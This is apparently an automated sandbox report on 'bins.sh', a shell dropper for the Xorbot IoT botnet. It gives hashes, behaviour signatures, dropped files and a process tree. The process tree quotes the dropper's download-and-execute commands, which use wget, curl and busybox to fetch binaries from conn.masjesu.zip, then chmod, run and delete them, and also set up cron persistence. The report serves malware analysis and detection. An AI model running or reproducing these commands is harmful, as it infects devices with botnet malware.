Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    10/12/2024, 16:56

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    04b0aa80fd5dbe2a2c5aba032f1080a4

  • SHA1

    b323e443493c9833347bac801450e2835febde15

  • SHA256

    7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf

  • SHA512

    f8058a40bf2ae4e4d453e20f3214bd5205bf15a984a53ae21b6690a0e3c8fba6bf1bf76ad4560a7208ea3dcd7715b7551fbea624de4dfe4597ece8f6bd8f7376

  • SSDEEP

    192:7bxZiPr/Hfi1ZKbrotcQoRmENsirjE597xZiPr7R1ZKbr2QoRmENLrjE59f:7bxZiPrffi1ZKbrotjirjE597xZiPrdY

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1382) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 20 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:712
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:717
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:721
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:736
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /bin/chmod
          chmod 777 fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • File and Directory Permissions Modification
          PID:745
        • /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          ./fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
          • Executes dropped EXE
          PID:746
        • /bin/rm
          rm fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
          2⤵
            PID:748
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:749
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:750
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:752
          • /bin/chmod
            chmod 777 Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • File and Directory Permissions Modification
            PID:753
          • /tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            ./Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
            • Executes dropped EXE
            PID:754
          • /bin/rm
            rm Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
            2⤵
              PID:756
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:757
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:758
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:760
            • /bin/chmod
              chmod 777 uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • File and Directory Permissions Modification
              PID:761
            • /tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              ./uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
              • Executes dropped EXE
              PID:762
            • /bin/rm
              rm uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
              2⤵
                PID:764
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:765
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:772
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:789
              • /bin/chmod
                chmod 777 55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • File and Directory Permissions Modification
                PID:792
              • /tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                ./55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                • Executes dropped EXE
                PID:793
              • /bin/rm
                rm 55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
                2⤵
                  PID:796
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:798
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:805
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:819
                • /bin/chmod
                  chmod 777 tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • File and Directory Permissions Modification
                  PID:824
                • /tmp/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  ./tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                  • Executes dropped EXE
                  PID:825
                • /bin/rm
                  rm tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
                  2⤵
                    PID:827
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:828
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:830
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /bin/chmod
                    chmod 777 9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • File and Directory Permissions Modification
                    PID:833
                  • /tmp/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    ./9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                    2⤵
                    • Executes dropped EXE
                    • Renames itself
                    • Reads runtime system information
                    PID:834
                    • /bin/sh
                      sh -c "crontab -l"
                      3⤵
                        PID:836
                        • /usr/bin/crontab
                          crontab -l
                          4⤵
                            PID:837
                        • /bin/sh
                          sh -c "crontab -"
                          3⤵
                            PID:838
                            • /usr/bin/crontab
                              crontab -
                              4⤵
                              • Creates/modifies Cron job
                              PID:839
                        • /bin/rm
                          rm 9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB
                          2⤵
                            PID:841
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                            2⤵
                            • System Network Configuration Discovery
                            PID:844
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/bNAGWS2TO99ka1F3Gnue9xPTRdGYpiEtmb
                            2⤵
                            • System Network Configuration Discovery
                            PID:845

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • /tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS

                          Filesize

                          177KB

                          MD5

                          786d75a158fe731feca3880f436082c0

                          SHA1

                          79ea2734e43d00cdeabed5586b2c1994d02aef3e

                          SHA256

                          5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                          SHA512

                          7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                        • /tmp/9G3MwrkyY1lDX8fIfAzIunPGk3T3Fd1BxB

                          Filesize

                          151KB

                          MD5

                          3c90d5820bddcf7c5d1bd21dfa49d958

                          SHA1

                          5ba05bd489e50af97d6dc45e3a0be60e494d5083

                          SHA256

                          bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                          SHA512

                          54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                        • /tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV

                          Filesize

                          107KB

                          MD5

                          eb9c3a0de91fcf16ba17cb24608df68c

                          SHA1

                          09d95a7d70d5e115d103be51edff7c498d272fac

                          SHA256

                          dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                          SHA512

                          9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                        • /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA

                          Filesize

                          122KB

                          MD5

                          cd3d4b9c643e5b473fb4d88ed05f0716

                          SHA1

                          64ee7a97418583d759eaea8000890cc3bae1b5f4

                          SHA256

                          0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                          SHA512

                          164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                        • /tmp/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c

                          Filesize

                          117KB

                          MD5

                          849fa04ef88a8e8de32cb2e8538de5fe

                          SHA1

                          c768af29fe4b6695fff1541623e8bbd1c6f242f7

                          SHA256

                          8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                          SHA512

                          2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                        • /tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD

                          Filesize

                          99KB

                          MD5

                          9438d9bc392bcf300a5583b6df5bc8f6

                          SHA1

                          375a6ae34b516f6f3eeea8030c4084f585017efa

                          SHA256

                          68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                          SHA512

                          1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                        • /var/spool/cron/crontabs/tmp.nSaVWm

                          Filesize

                          210B

                          MD5

                          e25f0456663fd1e3b8c3b6706c6b080f

                          SHA1

                          fcdfd486c6111482aba48415cee0e63d73a607ee

                          SHA256

                          17f98b4bc2bdfabe6342fde3514fbfc795600dcd3423d11e7329996d082b9be7

                          SHA512

                          6aaf22827450a282b604a0d767a707a801d6cfbf1c47893a69eb3ab381bdd43a3e3581c9b40967be9949154523561fd7003cc350acf3f7b8f07a4162dd8a2104